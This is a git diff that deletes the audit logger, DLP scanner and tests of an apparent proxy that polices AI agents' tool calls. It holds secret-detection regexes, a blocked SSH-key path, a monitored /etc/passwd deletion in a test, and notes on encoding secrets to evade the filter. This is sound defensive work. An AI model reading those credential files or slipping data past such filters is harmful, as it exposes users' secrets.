-// "tool": "write_file",
-// "protected_path": "/home/user/.ssh/id_rsa",
-// "policy_mode": "enforce"
-// }
-func (l *Logger) LogProtectedPathBlock(tool string, protectedPath string, args map[string]any) {
- l.mu.Lock()
- defer l.mu.Unlock()
-
- attrs := []slog.Attr{
- slog.Time("timestamp", time.Now().UTC()),
- slog.String("direction", string(DirectionUpstream)),
- slog.String("event", "PROTECTED_PATH_BLOCKED"),
- slog.String("tool", tool),
- slog.String("protected_path", protectedPath),
- slog.String("policy_mode", string(l.mode)),
- }
-
- // Include sanitized args for forensic analysis
- if args != nil {
- attrs = append(attrs, slog.Any("args", args))
- }
-
- l.slogger.LogAttrs(context.Background(), slog.LevelWarn, "protected_path_block", attrs...)
-}
-
-// LogDLPEvent logs a DLP redaction event.
-//
-// Called when the downstream response contains sensitive data that was redacted.
-// Each DLP rule that triggered a match generates a separate log entry.
-//
-// Example JSON output:
-//
-// {
-// "timestamp": "2025-01-20T10:30:45.123Z",
-// "direction": "downstream",
-// "event": "DLP_TRIGGERED",
-// "dlp_rule": "AWS Key",
-// "dlp_action": "REDACTED",
-// "dlp_match_count": 2
-// }
-func (l *Logger) LogDLPEvent(ruleName string, matchCount int) {
- l.mu.Lock()
- defer l.mu.Unlock()
-
- attrs := []slog.Attr{
- slog.Time("timestamp", time.Now().UTC()),
- slog.String("direction", string(DirectionDownstream)),
- slog.String("event", "DLP_TRIGGERED"),
- slog.String("dlp_rule", ruleName),
- slog.String("dlp_action", "REDACTED"),
- slog.Int("dlp_match_count", matchCount),
- }
-
- l.slogger.LogAttrs(context.Background(), slog.LevelWarn, "dlp", attrs...)
-}
-
-// SetMode updates the policy mode for subsequent log entries.
-func (l *Logger) SetMode(mode PolicyMode) {
- l.mu.Lock()
- defer l.mu.Unlock()
- l.mode = mode
-}
-
-// GetMode returns the current policy mode.
-func (l *Logger) GetMode() PolicyMode {
- l.mu.Lock()
- defer l.mu.Unlock()
- return l.mode
-}
-
-// Close closes the audit log file.
-func (l *Logger) Close() error {
- l.mu.Lock()
- defer l.mu.Unlock()
-
- if l.file != nil {
- return l.file.Close()
- }
- return nil
-}
-
-// Sync flushes any buffered data to the underlying file.
-func (l *Logger) Sync() error {
- l.mu.Lock()
- defer l.mu.Unlock()
-
- if l.file != nil {
- return l.file.Sync()
- }
- return nil
-}
diff --git a/implementations/go-proxy/pkg/audit/logger_test.go b/implementations/go-proxy/pkg/audit/logger_test.go
deleted file mode 100644
index 3eebf1a..0000000
--- a/implementations/go-proxy/pkg/audit/logger_test.go
+++ /dev/null
@@ -1,197 +0,0 @@
-// Package audit tests for the AIP audit logger.
-package audit
-
-import (
- "encoding/json"
- "os"
- "path/filepath"
- "strings"
- "testing"
-)
-
-// TestNewLoggerCreatesFile tests that NewLogger creates the audit file.
-func TestNewLoggerCreatesFile(t *testing.T) {
- tmpDir := t.TempDir()
- logPath := filepath.Join(tmpDir, "test-audit.jsonl")
-
- logger, err := NewLogger(&Config{
- FilePath: logPath,
- Mode: PolicyModeEnforce,
- })
- if err != nil {
- t.Fatalf("NewLogger() error = %v", err)
- }
- defer func() { _ = logger.Close() }()
-
- // Verify file was created
- if _, err := os.Stat(logPath); os.IsNotExist(err) {
- t.Error("NewLogger() did not create audit file")
- }
-}
-
-// TestLoggerRejectsStdout tests that the logger refuses to write to stdout.
-func TestLoggerRejectsStdout(t *testing.T) {
- stdoutPaths := []string{
- "/dev/stdout",
- "/dev/fd/1",
- "/proc/self/fd/1",
- }
-
- for _, path := range stdoutPaths {
- _, err := NewLogger(&Config{FilePath: path})
- if err == nil {
- t.Errorf("NewLogger(%q) should have failed but succeeded", path)
- }
- if !strings.Contains(err.Error(), "stdout") {
- t.Errorf("Error should mention stdout, got: %v", err)
- }
- }
-}
-
-// TestLogWritesToFile tests that Log() writes entries to the file.
-func TestLogWritesToFile(t *testing.T) {
- tmpDir := t.TempDir()
- logPath := filepath.Join(tmpDir, "test-audit.jsonl")
-
- logger, err := NewLogger(&Config{
- FilePath: logPath,
- Mode: PolicyModeEnforce,
- })
- if err != nil {
- t.Fatalf("NewLogger() error = %v", err)
- }
-
- // Log an entry
- logger.Log(&Entry{
- Direction: DirectionUpstream,
- Method: "tools/call",
- Tool: "test_tool",
- Args: map[string]any{"arg1": "value1"},
- Decision: DecisionBlock,
- Violation: true,
- FailedArg: "arg1",
- FailedRule: "^allowed.*",
- })
-
- // Close to flush
- if err := logger.Close(); err != nil {
- t.Fatalf("Close() error = %v", err)
- }
-
- // Read and verify
- data, err := os.ReadFile(logPath)
- if err != nil {
- t.Fatalf("ReadFile() error = %v", err)
- }
-
- // Should contain at least one JSON line
- lines := strings.Split(strings.TrimSpace(string(data)), "\n")
- if len(lines) < 1 {
- t.Fatal("Expected at least 1 log line")
- }
-
- // Parse the last line (slog output)
- var logEntry map[string]any
- if err := json.Unmarshal([]byte(lines[len(lines)-1]), &logEntry); err != nil {
- t.Fatalf("Failed to parse log line: %v", err)
- }
-
- // Verify key fields are present
- if logEntry["tool"] != "test_tool" {
- t.Errorf("tool = %v, want test_tool", logEntry["tool"])
- }
- if logEntry["decision"] != string(DecisionBlock) {
- t.Errorf("decision = %v, want BLOCK", logEntry["decision"])
- }
- if logEntry["violation"] != true {
- t.Errorf("violation = %v, want true", logEntry["violation"])
- }
-}
-
-// TestLogToolCallConvenience tests the LogToolCall convenience method.
-func TestLogToolCallConvenience(t *testing.T) {
- tmpDir := t.TempDir()
- logPath := filepath.Join(tmpDir, "test-audit.jsonl")
-
- logger, err := NewLogger(&Config{
- FilePath: logPath,
- Mode: PolicyModeMonitor,
- })
- if err != nil {
- t.Fatalf("NewLogger() error = %v", err)
- }
-
- // Use convenience method
- logger.LogToolCall(
- "delete_file",
- map[string]any{"path": "/etc/passwd"},
- DecisionAllowMonitor,
- true,
- "path",
- "^/home/.*",
- )
-
- if err := logger.Close(); err != nil {
- t.Fatalf("Close() error = %v", err)
- }
-
- // Read and verify
- data, err := os.ReadFile(logPath)
- if err != nil {
- t.Fatalf("ReadFile() error = %v", err)
- }
-
- if !strings.Contains(string(data), "delete_file") {
- t.Error("Log should contain tool name")
- }
- if !strings.Contains(string(data), "ALLOW_MONITOR") {
- t.Error("Log should contain ALLOW_MONITOR decision")
- }
-}
-
-// TestNopLogger tests that NopLogger doesn't crash.
-func TestNopLogger(t *testing.T) {
- logger := NewNopLogger()
-
- // Should not panic
- logger.Log(&Entry{
- Direction: DirectionUpstream,
- Tool: "test",
- Decision: DecisionAllow,
- })
-
- logger.LogToolCall("test", nil, DecisionAllow, false, "", "")
- logger.SetMode(PolicyModeMonitor)
-
- if err := logger.Close(); err != nil {
- t.Errorf("NopLogger.Close() error = %v", err)
- }
-}
-
-// TestGetSetMode tests mode getter and setter.
-func TestGetSetMode(t *testing.T) {
- logger := NewNopLogger()
-
- // Default mode
- if logger.GetMode() != PolicyModeEnforce {
- t.Errorf("Default mode = %v, want %v", logger.GetMode(), PolicyModeEnforce)
- }
-
- // Set to monitor
- logger.SetMode(PolicyModeMonitor)
- if logger.GetMode() != PolicyModeMonitor {
- t.Errorf("After SetMode, mode = %v, want %v", logger.GetMode(), PolicyModeMonitor)
- }
-}
-
-// TestDefaultConfig tests that DefaultConfig returns sensible defaults.
-func TestDefaultConfig(t *testing.T) {
- cfg := DefaultConfig()
-
- if cfg.FilePath != "aip-audit.jsonl" {
- t.Errorf("FilePath = %q, want aip-audit.jsonl", cfg.FilePath)
- }
- if cfg.Mode != PolicyModeEnforce {
- t.Errorf("Mode = %v, want %v", cfg.Mode, PolicyModeEnforce)
- }
-}
diff --git a/implementations/go-proxy/pkg/dlp/scanner.go b/implementations/go-proxy/pkg/dlp/scanner.go
deleted file mode 100644
index a72fb24..0000000
--- a/implementations/go-proxy/pkg/dlp/scanner.go
+++ /dev/null
@@ -1,543 +0,0 @@
-// Package dlp implements Data Loss Prevention (DLP) scanning and redaction.
-//
-// The DLP scanner inspects tool responses flowing downstream from the MCP server
-// to the client and redacts sensitive information (PII, API keys, secrets) before
-// forwarding. This prevents accidental data exfiltration through tool outputs.
-//
-// Architecture:
-//
-// ββββββββββββββββ βββββββββββββββ ββββββββββββββββ
-// β MCP Server ββββββΆβ DLP Scanner ββββββΆβ Client β
-// β (response) β β (redact) β β (sanitized) β
-// ββββββββββββββββ βββββββββββββββ ββββββββββββββββ
-//
-// The scanner uses compiled regular expressions for performance, running all
-// patterns against each response. Matches are replaced with [REDACTED:].
-//
-// Encoding Detection:
-//
-// When detect_encoding is enabled, the scanner also attempts to decode base64
-// and hex-encoded strings before pattern matching. This prevents bypass attacks
-// where secrets are encoded to evade detection.
-package dlp
-
-import (
- "encoding/base64"
- "encoding/hex"
- "fmt"
- "io"
- "log"
- "regexp"
- "strings"
- "sync"
- "unicode"
-
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy"
-)
-
-// RedactionEvent captures details of a single redaction for audit logging.
-type RedactionEvent struct {
- // RuleName is the name of the DLP rule that matched
- RuleName string
-
- // MatchCount is the number of matches found for this rule
- MatchCount int
-}
-
-// Scanner provides DLP scanning and redaction capabilities.
-//
-// Thread-safety: Scanner is safe for concurrent use after initialization.
-// The compiled patterns are read-only after Compile().
-type Scanner struct {
- patterns []compiledPattern
- enabled bool
- detectEncoding bool
- mu sync.RWMutex
-}
-
-// compiledPattern holds a pre-compiled regex with its associated rule name.
-type compiledPattern struct {
- name string
- regex *regexp.Regexp
-}
-
-// NewScanner creates a new DLP scanner from policy configuration.
-//
-// Returns nil if DLP is not configured or disabled.
-// Returns error if any pattern regex fails to compile.
-func NewScanner(cfg *policy.DLPConfig) (*Scanner, error) {
- if cfg == nil || !cfg.IsEnabled() {
- return nil, nil
- }
-
- s := &Scanner{
- patterns: make([]compiledPattern, 0, len(cfg.Patterns)),
- enabled: true,
- detectEncoding: cfg.DetectEncoding,
- }
-
- for _, p := range cfg.Patterns {
- if p.Name == "" {
- return nil, fmt.Errorf("DLP pattern missing required 'name' field")
- }
- if p.Regex == "" {
- return nil, fmt.Errorf("DLP pattern %q missing required 'regex' field", p.Name)
- }
-
- // Validate regex complexity before compilation (best-effort ReDoS detection)
- if err := policy.ValidateRegexComplexity(p.Regex); err != nil {
- return nil, fmt.Errorf("DLP pattern %q has potentially dangerous regex: %w", p.Name, err)
- }
-
- // Compile with timeout to prevent ReDoS at compile time
- compiled, err := policy.SafeCompile(p.Regex, 0)
- if err != nil {
- return nil, fmt.Errorf("DLP pattern %q has invalid regex: %w", p.Name, err)
- }
-
- s.patterns = append(s.patterns, compiledPattern{
- name: p.Name,
- regex: compiled,
- })
- }
-
- return s, nil
-}
-
-// IsEnabled returns true if the scanner is active and has patterns configured.
-func (s *Scanner) IsEnabled() bool {
- if s == nil {
- return false
- }
- s.mu.RLock()
- defer s.mu.RUnlock()
- return s.enabled && len(s.patterns) > 0
-}
-
-// Redact scans input string for sensitive data and replaces matches.
-//
-// Returns:
-// - output: The redacted string with matches replaced by [REDACTED:]
-// - events: List of RedactionEvent for each rule that matched (for audit logging)
-//
-// If the scanner is nil or disabled, returns the original input unchanged.
-//
-// When detect_encoding is enabled, also scans decoded base64/hex content.
-// If a secret is found in decoded content, the original encoded string is redacted.
-//
-// Example:
-//
-// input: "API key is AKIAIOSFODNN7EXAMPLE"
-// output: "API key is [REDACTED:AWS Key]"
-// events: [{RuleName: "AWS Key", MatchCount: 1}]
-func (s *Scanner) Redact(input string) (output string, events []RedactionEvent) {
- if s == nil || !s.IsEnabled() {
- return input, nil
- }
-
- s.mu.RLock()
- defer s.mu.RUnlock()
-
- output = input
- events = make([]RedactionEvent, 0)
-
- // Step 1: Standard pattern matching on raw input
- for _, p := range s.patterns {
- matches := p.regex.FindAllStringIndex(output, -1)
- if len(matches) > 0 {
- // Record the redaction event before modifying the string
- events = append(events, RedactionEvent{
- RuleName: p.name,
- MatchCount: len(matches),
- })
-
- // Replace all matches with redaction placeholder
- replacement := fmt.Sprintf("[REDACTED:%s]", p.name)
- output = p.regex.ReplaceAllString(output, replacement)
- }
- }
-
- // Step 2: Encoding detection (if enabled)
- // Scan for base64/hex encoded secrets that bypass plain regex
- if s.detectEncoding {
- segments := findEncodedSegments(output)
- for _, seg := range segments {
- // Skip if segment was already redacted by a previous (larger) segment
- if !strings.Contains(output, seg.original) {
- continue
- }
- // Check if decoded content contains any secrets
- for _, p := range s.patterns {
- if p.regex.MatchString(seg.decoded) {
- // Found secret in decoded content - redact the original encoded string
- events = append(events, RedactionEvent{
- RuleName: p.name + " (encoded)",
- MatchCount: 1,
- })
- replacement := fmt.Sprintf("[REDACTED:%s:encoded]", p.name)
- output = strings.Replace(output, seg.original, replacement, 1)
- break // Don't double-count same segment
- }
- }
- }
- }
-
- return output, events
-}
-
-// RedactJSON scans a JSON byte slice for sensitive data in string values.
-// This is a convenience wrapper that converts to string, redacts, and returns bytes.
-//
-// Note: This performs string-level redaction. For structured JSON inspection,
-// use the Scanner with the decoded JSON content fields.
-func (s *Scanner) RedactJSON(input []byte) (output []byte, events []RedactionEvent) {
- if s == nil || !s.IsEnabled() {
- return input, nil
- }
-
- redacted, events := s.Redact(string(input))
- return []byte(redacted), events
-}
-
-// -----------------------------------------------------------------------------
-// Deep/Recursive Scanning
-// -----------------------------------------------------------------------------
-
-// RedactDeep recursively scans and redacts sensitive data in nested structures.
-//
-// This method handles:
-// - Strings: Scanned directly
-// - Maps (map[string]any): Each value is recursively scanned
-// - Slices ([]any): Each element is recursively scanned
-// - Primitives (int, float, bool, nil): Passed through unchanged
-//
-// SECURITY: This prevents bypass attacks where secrets are hidden in nested
-// structures like {"config": {"aws": {"key": "AKIAIOSFODNN7EXAMPLE"}}}.
-// The shallow Redact() method would miss this; RedactDeep catches it.
-//
-// Returns:
-// - result: A new structure with redacted values (original is NOT modified)
-// - events: Combined RedactionEvent list from all nested redactions
-//
-// Example:
-//
-// input: map[string]any{"nested": map[string]any{"secret": "AKIAIOSFODNN7EXAMPLE"}}
-// output: map[string]any{"nested": map[string]any{"secret": "[REDACTED:AWS Key]"}}
-// events: [{RuleName: "AWS Key", MatchCount: 1}]
-func (s *Scanner) RedactDeep(v any) (any, []RedactionEvent) {
- if s == nil || !s.IsEnabled() {
- return v, nil
- }
-
- var allEvents []RedactionEvent
- result := s.redactDeepInternal(v, &allEvents)
- return result, allEvents
-}
-
-// redactDeepInternal is the recursive implementation of RedactDeep.
-// It accumulates events into the provided slice to avoid allocations per level.
-func (s *Scanner) redactDeepInternal(v any, events *[]RedactionEvent) any {
- if v == nil {
- return nil
- }
-
- switch val := v.(type) {
- case string:
- // Base case: scan and redact string
- redacted, newEvents := s.Redact(val)
- *events = append(*events, newEvents...)
- return redacted
-
- case map[string]any:
- // Recursive case: process each map value
- // Note: map[string]interface{} is the same type as map[string]any in Go 1.18+
- result := make(map[string]any, len(val))
- for k, v := range val {
- result[k] = s.redactDeepInternal(v, events)
- }
- return result
-
- case []any:
- // Recursive case: process each slice element
- // Note: []interface{} is the same type as []any in Go 1.18+
- result := make([]any, len(val))
- for i, v := range val {
- result[i] = s.redactDeepInternal(v, events)
- }
- return result
-
- // Primitives pass through unchanged
- case float64, float32, int, int64, int32, int16, int8,
- uint, uint64, uint32, uint16, uint8, bool:
- return val
-
- default:
- // For unknown types, try to convert to string and scan
- // This catches custom types that implement Stringer
- str := fmt.Sprintf("%v", val)
- if str != "" && str != fmt.Sprintf("%T", val) {
- redacted, newEvents := s.Redact(str)
- if len(newEvents) > 0 {
- *events = append(*events, newEvents...)
- return redacted
- }
- }
- return val
- }
-}
-
-// RedactMap is a convenience method for redacting map[string]any structures.
-// Returns the redacted map and events. If input is not a map, returns it unchanged.
-func (s *Scanner) RedactMap(input map[string]any) (map[string]any, []RedactionEvent) {
- if s == nil || !s.IsEnabled() || input == nil {
- return input, nil
- }
-
- result, events := s.RedactDeep(input)
- if m, ok := result.(map[string]any); ok {
- return m, events
- }
- return input, nil
-}
-
-// PatternCount returns the number of configured DLP patterns.
-func (s *Scanner) PatternCount() int {
- if s == nil {
- return 0
- }
- s.mu.RLock()
- defer s.mu.RUnlock()
- return len(s.patterns)
-}
-
-// PatternNames returns the names of all configured patterns (for logging).
-func (s *Scanner) PatternNames() []string {
- if s == nil {
- return nil
- }
- s.mu.RLock()
- defer s.mu.RUnlock()
-
- names := make([]string, len(s.patterns))
- for i, p := range s.patterns {
- names[i] = p.name
- }
- return names
-}
-
-// -----------------------------------------------------------------------------
-// Encoding Detection
-// -----------------------------------------------------------------------------
-
-// Patterns for detecting potentially encoded strings
-var (
- // Base64 standard alphabet with optional padding
- // Matches strings of 16+ chars that look like base64 (to avoid false positives)
- base64Pattern = regexp.MustCompile(`[A-Za-z0-9+/]{16,}={0,2}`)
-
- // Base64 URL-safe alphabet
- base64URLPattern = regexp.MustCompile(`[A-Za-z0-9_-]{16,}={0,2}`)
-
- // Hex strings: 0x prefix or long continuous hex (32+ chars for 16+ bytes)
- hexPrefixPattern = regexp.MustCompile(`0[xX][0-9A-Fa-f]{8,}`)
- hexLongPattern = regexp.MustCompile(`[0-9A-Fa-f]{32,}`)
-)
-
-// encodedSegment represents a potentially encoded substring found in input
-type encodedSegment struct {
- original string // The original encoded string
- decoded string // The decoded content
- start int // Start position in input
- end int // End position in input
-}
-
-// findEncodedSegments scans input for base64 and hex encoded substrings.
-// Returns segments that successfully decoded to printable text.
-//
-// Order matters: hex is checked first because hex strings can accidentally
-// match base64 patterns (they share [A-Fa-f0-9]), but hex decoding is more
-// specific and should take precedence.
-func findEncodedSegments(input string) []encodedSegment {
- var segments []encodedSegment
- seen := make(map[string]bool) // Avoid duplicate segments
-
- // Find hex candidates FIRST (more specific than base64)
- // Hex strings only contain [0-9A-Fa-f] and would be mangled by base64 decode
- for _, pattern := range []*regexp.Regexp{hexPrefixPattern, hexLongPattern} {
- matches := pattern.FindAllStringIndex(input, -1)
- for _, match := range matches {
- encoded := input[match[0]:match[1]]
- if seen[encoded] {
- continue
- }
-
- decoded, ok := tryDecodeHex(encoded)
- if ok && isPrintableString(decoded) && len(decoded) >= 4 {
- seen[encoded] = true
- segments = append(segments, encodedSegment{
- original: encoded,
- decoded: decoded,
- start: match[0],
- end: match[1],
- })
- }
- }
- }
-
- // Find base64 candidates (after hex to avoid misclassification)
- for _, pattern := range []*regexp.Regexp{base64Pattern, base64URLPattern} {
- matches := pattern.FindAllStringIndex(input, -1)
- for _, match := range matches {
- encoded := input[match[0]:match[1]]
- if seen[encoded] {
- continue
- }
-
- decoded, ok := tryDecodeBase64(encoded)
- if ok && isPrintableString(decoded) && len(decoded) >= 4 {
- seen[encoded] = true
- segments = append(segments, encodedSegment{
- original: encoded,
- decoded: decoded,
- start: match[0],
- end: match[1],
- })
- }
- }
- }
-
- return segments
-}
-
-// tryDecodeBase64 attempts to decode a base64 string (standard or URL-safe).
-func tryDecodeBase64(s string) (string, bool) {
- // Try standard base64 first
- decoded, err := base64.StdEncoding.DecodeString(s)
- if err == nil {
- return string(decoded), true
- }
-
- // Try URL-safe base64
- decoded, err = base64.URLEncoding.DecodeString(s)
- if err == nil {
- return string(decoded), true
- }
-
- // Try without padding (common in URLs/JWT)
- decoded, err = base64.RawStdEncoding.DecodeString(s)
- if err == nil {
- return string(decoded), true
- }
-
- decoded, err = base64.RawURLEncoding.DecodeString(s)
- if err == nil {
- return string(decoded), true
- }
-
- return "", false
-}
-
-// tryDecodeHex attempts to decode a hex string.
-func tryDecodeHex(s string) (string, bool) {
- // Strip 0x prefix if present
- hexStr := strings.TrimPrefix(strings.TrimPrefix(s, "0x"), "0X")
-
- decoded, err := hex.DecodeString(hexStr)
- if err != nil {
- return "", false
- }
-
- return string(decoded), true
-}
-
-// isPrintableString returns true if the string contains mostly printable ASCII.
-// Used to filter out random binary data that happens to decode.
-func isPrintableString(s string) bool {
- if len(s) == 0 {
- return false
- }
-
- printable := 0
- for _, r := range s {
- if unicode.IsPrint(r) || unicode.IsSpace(r) {
- printable++
- }
- }
-
- // Require at least 80% printable characters
- return float64(printable)/float64(len([]rune(s))) >= 0.8
-}
-
-// DetectsEncoding returns true if encoding detection is enabled.
-func (s *Scanner) DetectsEncoding() bool {
- if s == nil {
- return false
- }
- s.mu.RLock()
- defer s.mu.RUnlock()
- return s.detectEncoding
-}
-
-// -----------------------------------------------------------------------------
-// Filtered Writer for Stderr/Output Streams
-// -----------------------------------------------------------------------------
-
-// FilteredWriter wraps an io.Writer and applies DLP scanning to all output.
-// Use this to filter subprocess stderr or other output streams.
-//
-// Example:
-//
-// filtered := dlp.NewFilteredWriter(os.Stderr, scanner, logger)
-// cmd.Stderr = filtered // Subprocess stderr now gets DLP scanned
-type FilteredWriter struct {
- dest io.Writer
- scanner *Scanner
- logger *log.Logger
- prefix string
-}
-
-// NewFilteredWriter creates a writer that scans and redacts output.
-//
-// Parameters:
-// - dest: The underlying writer (e.g., os.Stderr)
-// - scanner: DLP scanner to use (can be nil to pass through unchanged)
-// - logger: Optional logger for DLP events (can be nil)
-// - prefix: Optional prefix for log messages (e.g., "[stderr]")
-func NewFilteredWriter(dest io.Writer, scanner *Scanner, logger *log.Logger, prefix string) *FilteredWriter {
- return &FilteredWriter{
- dest: dest,
- scanner: scanner,
- logger: logger,
- prefix: prefix,
- }
-}
-
-// Write implements io.Writer, scanning and redacting content before writing.
-func (fw *FilteredWriter) Write(p []byte) (n int, err error) {
- if fw.scanner == nil || !fw.scanner.IsEnabled() {
- // No scanner - pass through unchanged
- return fw.dest.Write(p)
- }
-
- // Scan and redact the output
- input := string(p)
- redacted, events := fw.scanner.Redact(input)
-
- // Log DLP events if logger is configured
- if fw.logger != nil && len(events) > 0 {
- for _, event := range events {
- fw.logger.Printf("DLP_STDERR %s: Redacted %d match(es) of %q",
- fw.prefix, event.MatchCount, event.RuleName)
- }
- }
-
- // Write the redacted output
- written, err := fw.dest.Write([]byte(redacted))
- if err != nil {
- return written, err
- }
-
- // Return original length to satisfy io.Writer contract
- // (caller expects we consumed all input bytes)
- return len(p), nil
-}
diff --git a/implementations/go-proxy/pkg/dlp/scanner_test.go b/implementations/go-proxy/pkg/dlp/scanner_test.go
deleted file mode 100644
index 371ff50..0000000
--- a/implementations/go-proxy/pkg/dlp/scanner_test.go
+++ /dev/null
@@ -1,1080 +0,0 @@
-package dlp
-
-import (
- "bytes"
- "strings"
- "testing"
-
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy"
-)
-
-func TestNewScanner(t *testing.T) {
- tests := []struct {
- name string
- cfg *policy.DLPConfig
- wantNil bool
- wantErr bool
- }{
- {
- name: "nil config returns nil scanner",
- cfg: nil,
- wantNil: true,
- wantErr: false,
- },
- {
- name: "disabled config returns nil scanner",
- cfg: &policy.DLPConfig{
- Enabled: boolPtr(false),
- Patterns: []policy.DLPPattern{{Name: "Test", Regex: "test"}},
- },
- wantNil: true,
- wantErr: false,
- },
- {
- name: "valid patterns compile successfully",
- cfg: &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`},
- {Name: "Secret", Regex: `(?i)secret`},
- },
- },
- wantNil: false,
- wantErr: false,
- },
- {
- name: "invalid regex returns error",
- cfg: &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Bad", Regex: `[invalid`},
- },
- },
- wantNil: false,
- wantErr: true,
- },
- {
- name: "pattern missing name returns error",
- cfg: &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "", Regex: `test`},
- },
- },
- wantNil: false,
- wantErr: true,
- },
- {
- name: "pattern missing regex returns error",
- cfg: &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Test", Regex: ""},
- },
- },
- wantNil: false,
- wantErr: true,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- scanner, err := NewScanner(tt.cfg)
-
- if tt.wantErr && err == nil {
- t.Fatal("expected error, got nil")
- }
- if !tt.wantErr && err != nil {
- t.Fatalf("unexpected error: %v", err)
- }
- if tt.wantNil && scanner != nil {
- t.Fatal("expected nil scanner")
- }
- if !tt.wantNil && !tt.wantErr && scanner == nil {
- t.Fatal("expected non-nil scanner")
- }
- })
- }
-}
-
-func TestScanner_Redact(t *testing.T) {
- // Set up scanner with common patterns
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`},
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- {Name: "Generic Secret", Regex: `(?i)(api_key|secret|password)\s*[:=]\s*['"]?([a-zA-Z0-9-_]+)['"]?`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- tests := []struct {
- name string
- input string
- wantOutput string
- wantRules []string
- }{
- {
- name: "no sensitive data",
- input: "Hello, this is a normal message",
- wantOutput: "Hello, this is a normal message",
- wantRules: nil,
- },
- {
- name: "email redaction",
- input: "Contact me at user@example.com",
- wantOutput: "Contact me at [REDACTED:Email]",
- wantRules: []string{"Email"},
- },
- {
- name: "multiple emails",
- input: "Email alice@test.org or bob@company.com",
- wantOutput: "Email [REDACTED:Email] or [REDACTED:Email]",
- wantRules: []string{"Email"},
- },
- {
- name: "AWS key redaction",
- input: "The key is AKIAIOSFODNN7EXAMPLE",
- wantOutput: "The key is [REDACTED:AWS Key]",
- wantRules: []string{"AWS Key"},
- },
- {
- name: "generic secret redaction",
- input: `api_key: "my-secret-key-123"`,
- wantOutput: `[REDACTED:Generic Secret]`,
- wantRules: []string{"Generic Secret"},
- },
- {
- name: "password redaction",
- input: "password = supersecret123",
- wantOutput: "[REDACTED:Generic Secret]",
- wantRules: []string{"Generic Secret"},
- },
- {
- name: "multiple pattern types",
- input: "Contact user@test.com with key AKIAIOSFODNN7EXAMPLE",
- wantOutput: "Contact [REDACTED:Email] with key [REDACTED:AWS Key]",
- wantRules: []string{"Email", "AWS Key"},
- },
- {
- name: "case insensitive secret",
- input: "SECRET: myvalue",
- wantOutput: "[REDACTED:Generic Secret]",
- wantRules: []string{"Generic Secret"},
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- output, events := scanner.Redact(tt.input)
-
- if output != tt.wantOutput {
- t.Errorf("Redact() output = %q, want %q", output, tt.wantOutput)
- }
-
- if len(events) != len(tt.wantRules) {
- t.Errorf("Redact() events count = %d, want %d", len(events), len(tt.wantRules))
- }
-
- for i, wantRule := range tt.wantRules {
- if i < len(events) && events[i].RuleName != wantRule {
- t.Errorf("Redact() events[%d].RuleName = %q, want %q", i, events[i].RuleName, wantRule)
- }
- }
- })
- }
-}
-
-func TestScanner_Redact_NilScanner(t *testing.T) {
- var scanner *Scanner
- input := "sensitive@email.com"
-
- output, events := scanner.Redact(input)
-
- if output != input {
- t.Errorf("nil scanner should return input unchanged, got %q", output)
- }
- if events != nil {
- t.Error("nil scanner should return nil events")
- }
-}
-
-func TestScanner_RedactJSON(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`},
- },
- }
- scanner, _ := NewScanner(cfg)
-
- input := []byte(`{"text": "Contact user@example.com"}`)
- output, events := scanner.RedactJSON(input)
-
- expected := `{"text": "Contact [REDACTED:Email]"}`
- if string(output) != expected {
- t.Errorf("RedactJSON() = %s, want %s", output, expected)
- }
- if len(events) != 1 || events[0].RuleName != "Email" {
- t.Errorf("RedactJSON() events = %v, want [{Email, 1}]", events)
- }
-}
-
-func TestScanner_IsEnabled(t *testing.T) {
- tests := []struct {
- name string
- scanner *Scanner
- want bool
- }{
- {
- name: "nil scanner",
- scanner: nil,
- want: false,
- },
- {
- name: "empty patterns",
- scanner: &Scanner{enabled: true, patterns: nil},
- want: false,
- },
- {
- name: "enabled with patterns",
- scanner: &Scanner{
- enabled: true,
- patterns: []compiledPattern{{name: "Test"}},
- },
- want: true,
- },
- {
- name: "disabled with patterns",
- scanner: &Scanner{
- enabled: false,
- patterns: []compiledPattern{{name: "Test"}},
- },
- want: false,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- if got := tt.scanner.IsEnabled(); got != tt.want {
- t.Errorf("IsEnabled() = %v, want %v", got, tt.want)
- }
- })
- }
-}
-
-func TestScanner_PatternCount(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "P1", Regex: "a"},
- {Name: "P2", Regex: "b"},
- {Name: "P3", Regex: "c"},
- },
- }
- scanner, _ := NewScanner(cfg)
-
- if scanner.PatternCount() != 3 {
- t.Errorf("PatternCount() = %d, want 3", scanner.PatternCount())
- }
-
- var nilScanner *Scanner
- if nilScanner.PatternCount() != 0 {
- t.Error("nil scanner should have PatternCount() = 0")
- }
-}
-
-func TestScanner_PatternNames(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Email", Regex: "a"},
- {Name: "AWS Key", Regex: "b"},
- },
- }
- scanner, _ := NewScanner(cfg)
-
- names := scanner.PatternNames()
- if len(names) != 2 {
- t.Fatalf("PatternNames() len = %d, want 2", len(names))
- }
- if names[0] != "Email" || names[1] != "AWS Key" {
- t.Errorf("PatternNames() = %v, want [Email, AWS Key]", names)
- }
-}
-
-// Test case from the spec
-func TestScanner_TestCase_FromSpec(t *testing.T) {
